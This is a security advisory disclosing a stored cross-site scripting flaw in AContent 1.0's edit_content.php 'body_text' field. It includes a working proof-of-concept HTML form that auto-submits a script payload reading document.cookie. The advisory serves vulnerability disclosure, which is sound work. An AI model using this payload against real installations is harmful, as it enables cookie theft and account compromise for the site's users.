XSS vulnerability in AContent

[advisory () htbridge ch]

Vulnerability ID: HTB22597
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_acontent.html
Product: AContent
Vendor: Inclusive Design Institute ( http://www.atutor.ca/ ) 
Vulnerable Version: 1.0
Vendor Notification: 01 September 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "home/editor/edit_content.php" script to properly sanitize user-supplied 
input in "body_text" variable. Successful exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/home/editor/edit_content.php?_cid=PAGE_ID"; method="post" name="main" 
enctype="multipart/form-data" >

<input type="hidden" name="_course_id" value="54" />
<input type="hidden" name="_cid" value="PAGE_ID" />
<input type="hidden" name="title" value="page title" />
<input type="hidden" name="ordering" value="1" />
<input type="hidden" name="pid" value="0" />
<input type="hidden" name="alternatives" value="" />
<input type="hidden" name="current_tab" value="0" />
<input type="hidden" name="keywords" value="" />
<input type="hidden" name="test_message" value="" />
<input type="submit" name="submit" id="sbmtit" value="Save" />
<input type="hidden" name="displayhead" value="0" />
<input type="hidden" name="displaypaste" value="0" />
<input type="hidden" name="complexeditor" value="1" />
<input type="hidden" name="title" value="atest ah" />
<input type="hidden" name="formatting" value="1" />
<input type="hidden" name="head" value="" />
<input type="hidden" name="uploadedfile_paste" value="" />
<input type="hidden" name="body_text" value='hello world html<script>alert(document.cookie)</script>' />
<input type="hidden" name="weblink_text" value="" />

</form>
<script>
document.getElementById('sbmtit').click();
</script>